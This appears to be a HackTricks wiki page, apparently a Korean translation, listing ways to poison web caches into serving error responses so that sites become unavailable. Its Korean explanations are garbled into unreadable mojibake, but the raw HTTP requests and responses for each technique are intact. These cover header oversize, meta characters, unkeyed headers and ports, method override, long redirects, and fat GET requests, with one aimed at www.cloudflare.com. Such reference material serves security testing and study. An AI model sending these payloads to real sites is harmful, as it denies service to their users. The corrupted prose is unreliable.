Cache Poisoning to DoS
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.
Caution
μ΄ νμ΄μ§μμλ μΊμ μλ²μ μ ν¨ν μμ²μ λν΄ μΉ μλ²κ° μ€λ₯λ‘ μλ΅νλλ‘ μλν μ μλ λ€μν λ³νμ μ°Ύμ μ μμ΅λλ€.
- HTTP Header Oversize (HHO)
μΉ μλ²κ° μ§μνλ κ²λ³΄λ€ ν¬μ§λ§ μΊμ μλ²κ° μ§μνλ κ²λ³΄λ€ μμ ν€λ ν¬κΈ°λ‘ μμ²μ 보λ λλ€. μΉ μλ²λ 400 μλ΅μΌλ‘ μλ΅ν κ²μ΄λ©°, μ΄λ μΊμλ μ μμ΅λλ€:
GET / HTTP/1.1
Host: redacted.com
X-Oversize-Hedear:Big-Value-000000000000000
- HTTP λ©ν λ¬Έμ (HMC) λ° μμμΉ λͺ»ν κ°
ν΄λΉ κ³΅κ²©μ΄ μλνλ €λ©΄ λ¨Όμ μΊμλ₯Ό μ°νν΄μΌ ν©λλ€. ν΄λ‘μ΄ λ©ν λ¬Έμκ° ν¬ν¨λ ν€λλ₯Ό μ μ‘νμμμ€.
GET / HTTP/1.1
Host: redacted.com
X-Meta-Hedear:Bad Chars\n \r
μλͺ» ꡬμ±λ ν€λλ λ¨μν \:λ‘ ν€λλ‘ μ¬μ©λ μ μμ΅λλ€.
μμμΉ λͺ»ν κ°μ΄ μ μ‘λλ©΄, μλ₯Ό λ€μ΄ μμμΉ λͺ»ν Content-Type:κ³Ό κ°μ κ²½μ°μλ μλν μ μμ΅λλ€.
GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld
- ν€κ° μλ ν€λ
μΌλΆ μΉμ¬μ΄νΈλ μμ²μ X-Amz-Website-Location-Redirect: someThing ν€λμ κ°μ νΉμ ν€λκ° ν¬ν¨λμ΄ μμΌλ©΄ μ€λ₯ μν μ½λλ₯Ό λ°νν©λλ€.
GET /app.js HTTP/2
Host: redacted.com
X-Amz-Website-Location-Redirect: someThing
HTTP/2 403 Forbidden
Cache: hit
Invalid Header
- HTTP λ©μλ μ€λ²λΌμ΄λ 곡격 (HMO)
μλ²κ° X-HTTP-Method-Override, X-HTTP-Method λλ X-Method-Overrideμ κ°μ ν€λλ‘ HTTP λ©μλλ₯Ό λ³κ²½νλ κ²μ μ§μνλ κ²½μ°, λ©μλλ₯Ό λ³κ²½νμ¬ μ ν¨ν νμ΄μ§λ₯Ό μμ²ν μ μμ΅λλ€. μ΄λ κ² νλ©΄ μλ²κ° μ΄λ₯Ό μ§μνμ§ μμΌλ―λ‘ μλͺ»λ μλ΅μ΄ μΊμλ©λλ€:
GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST
- ν€κ° μλ ν¬νΈ
νΈμ€νΈ ν€λμ ν¬νΈκ° μλ΅μ λ°μλκ³ μΊμ ν€μ ν¬ν¨λμ§ μλ κ²½μ°, μ¬μ©λμ§ μλ ν¬νΈλ‘ 리λλ μ ν μ μμ΅λλ€:
GET /index.html HTTP/1.1
Host: redacted.com:1
HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
Cache: miss
- Long Redirect DoS
λ€μ μμ κ°μ΄ xκ° μΊμλμ§ μκΈ° λλ¬Έμ 곡격μλ 리λλ μ μλ΅ λμμ μ μ©νμ¬ λ¦¬λλ μ μ΄ λ무 ν° URLμ 보λ΄λλ‘ λ§λ€μ΄ μ€λ₯λ₯Ό λ°νν μ μμ΅λλ€. κ·Έλ° λ€μ uncached x ν€ μμ΄ URLμ μ κ·Όνλ €λ μ¬λλ€μ μ€λ₯ μλ΅μ λ°κ² λ©λλ€:
GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com
HTTP/1.1 301 Moved Permanently
Location: /login/?x=veryLongUrl
Cache: hit
GET /login/?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com
HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: miss
- νΈμ€νΈ ν€λ λμλ¬Έμ μ κ·ν
νΈμ€νΈ ν€λλ λμλ¬Έμλ₯Ό ꡬλΆνμ§ μμμΌ νμ§λ§ μΌλΆ μΉμ¬μ΄νΈλ μλ¬Έμλ‘ λμ΄ μκΈ°λ₯Ό κΈ°λνλ©° κ·Έλ μ§ μμ κ²½μ° μ€λ₯λ₯Ό λ°νν©λλ€:
GET /img.png HTTP/1.1
Host: Cdn.redacted.com
HTTP/1.1 404 Not Found
Cache:miss
Not Found
- κ²½λ‘ μ κ·ν
μΌλΆ νμ΄μ§λ κ²½λ‘μ λ°μ΄ν°λ₯Ό URL μΈμ½λ©νμ¬ μ μ‘ν λ μ€λ₯ μ½λλ₯Ό λ°ννμ§λ§, μΊμ μλ²λ κ²½λ‘λ₯Ό URL λμ½λ©νκ³ URL λμ½λ©λ κ²½λ‘μ λν μλ΅μ μ μ₯ν©λλ€:
GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com
HTTP/1.1 404 Not Found
Cach:miss
Not Found
- Fat Get
μΌλΆ μΊμ μλ², μλ₯Ό λ€μ΄ Cloudflare λλ μΉ μλ²λ λ³Έλ¬Έμ΄ μλ GET μμ²μ μ€λ¨νλ―λ‘, μ΄λ₯Ό μ μ©νμ¬ μλͺ»λ μλ΅μ μΊμν μ μμ΅λλ€:
GET /index.html HTTP/2
Host: redacted.com
Content-Length: 3
xyz
HTTP/2 403 Forbidden
Cache: hit
μ°Έκ³ λ¬Έν
- https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52
- https://youst.in/posts/cache-poisoning-at-scale/?source=post_pageββ3a829f221f52ββββββββββββββββ
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.


